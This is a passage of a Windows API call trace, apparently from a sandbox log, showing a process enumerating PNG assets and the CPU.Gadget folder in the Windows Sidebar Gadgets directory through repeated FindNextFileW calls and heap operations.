ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0261.170] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9025934, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9025934, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0261.170] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9025934, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9025934, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0261.170] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0261.170] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0261.170] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0261.170] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9071bf2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9071bf2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9071bf2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9071bf2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb508e47c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb508e47c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90e400f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90e400f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50b45dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb910a16e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb910a16e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91302cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb91302cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91302cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb91302cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb917c58b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb917c58b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb51269fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e82a1f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e82a1f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacer_highlights.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="square.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_dot.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_h.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_m.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb54466dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_s.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d87, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_settings.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f410fa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f410fa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_dot.png", cAlternateFileName="")) returned 1 [0261.172] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_h.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_m.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_s.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f410fa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f410fa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_settings.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f67259, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f67259, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb571a0fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fd9676, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fd9676, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_dot.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_h.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb57663bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_m.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fb3517, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fb3517, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5ad235c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_s.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb621c6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 1 [0261.173] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb621c6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 0 [0261.174] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.175] GetProcessHeap () returned 0x550000 [0261.175] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.175] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0261.175] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0261.175] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0261.175] GetProcessHeap () returned 0x550000 [0261.175] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0261.175] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0261.176] GetProcessHeap () returned 0x550000 [0261.176] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0261.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0261.198] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.198] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb79c415c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0261.199] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, 